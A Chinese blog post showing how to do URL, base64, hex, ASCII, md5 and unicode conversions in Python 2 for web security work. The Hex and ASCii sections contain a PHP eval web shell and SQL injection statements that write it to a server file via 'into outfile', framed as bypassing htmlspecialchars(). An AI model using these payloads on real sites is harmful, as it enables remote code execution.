python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
python中实现php的var_dump函数功能
Jan 21 Python
Python3中使用PyMongo的方法详解
Jul 28 Python
git进行版本控制心得详谈
Dec 10 Python
Python批量合并有合并单元格的Excel文件详解
Apr 05 Python
Linux(Redhat)安装python3.6虚拟环境(推荐)
May 05 Python
python实现图片文件批量重命名
Mar 23 Python
Python爬取个人微信朋友信息操作示例
Aug 03 Python
python递归全排列实现方法
Aug 18 Python
Python 项目转化为so文件实例
Dec 23 Python
Python Selenium自动化获取页面信息的方法
Aug 31 Python
解决Ubuntu18中的pycharm不能调用tensorflow-gpu的问题
Sep 17 Python
python中的插入排序的简单用法
Jan 19 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
无线电广播与收音机发展的历史回眸
2021/03/02 无线电
PHP验证码类代码( 最新修改,完全定制化! )
2010/12/02 PHP
Zend Framework教程之Zend_Db_Table表关联实例详解
2016/03/23 PHP
新老版本juqery获取radio对象的方法
2010/03/01 Javascript
AngularJS中取消对HTML片段转义的方法例子
2015/01/04 Javascript
jQuery使用append在html元素后同时添加多项内容的方法
2015/03/26 Javascript
使用AngularJS制作一个简单的RSS阅读器的教程
2015/06/18 Javascript
JavaScript实现设计模式中的单例模式的一些技巧总结
2016/05/17 Javascript
JS实现控制文本框的内容
2016/07/10 Javascript
详解Angular中$cacheFactory缓存的使用
2016/08/19 Javascript
js字符串引用的两种方式(必看)
2016/09/18 Javascript
网页瀑布流布局jQuery实现代码
2016/10/21 Javascript
js实现5秒倒计时重新发送短信功能
2017/02/05 Javascript
详解angular用$sce服务来过滤HTML标签
2017/04/11 Javascript
jQuery获取所有父级元素及同级元素及子元素的方法(推荐)
2018/01/21 jQuery
js基础之事件捕获与冒泡原理
2019/10/09 Javascript
vue项目配置使用flow类型检查的步骤
2020/03/18 Javascript
详解vue 组件
2020/06/11 Javascript
在Vue中使用Echarts实例图的方法实例
2020/10/10 Javascript
[33:23]VG vs Pain 2018国际邀请赛小组赛BO2 第二场 8.18
2018/08/19 DOTA
跟老齐学Python之模块的加载
2014/10/24 Python
Python中集合类型(set)学习小结
2015/01/28 Python
利用Hyperic调用Python实现进程守护
2018/01/02 Python
Python多线程实现支付模拟请求过程解析
2020/04/21 Python
Pytorch实现WGAN用于动漫头像生成
2021/03/04 Python
HTML5中的强制下载属性download使用实例解析
2016/05/12 HTML / CSS
Vision Directa智利眼镜网:框架眼镜、隐形眼镜和名牌太阳眼镜
2016/11/23 全球购物
台湾网友喜爱的综合型网路购物商城:Yahoo! 奇摩购物中心
2018/03/10 全球购物
成功的餐厅经营创业计划书
2014/01/15 职场文书
《放飞蜻蜓》教学反思
2014/04/27 职场文书
房屋维修协议书范本
2014/09/25 职场文书
青年人初次创业的“五不要”
2019/08/23 职场文书
创业计划书之零食店(进口)
2019/09/24 职场文书
详解CSS开发过程中的20个快速提升技巧
2021/05/21 HTML / CSS
SQL SERVER存储过程用法详解
2022/02/24 SQL Server
Linux中文件的基本属性介绍
2022/06/01 Servers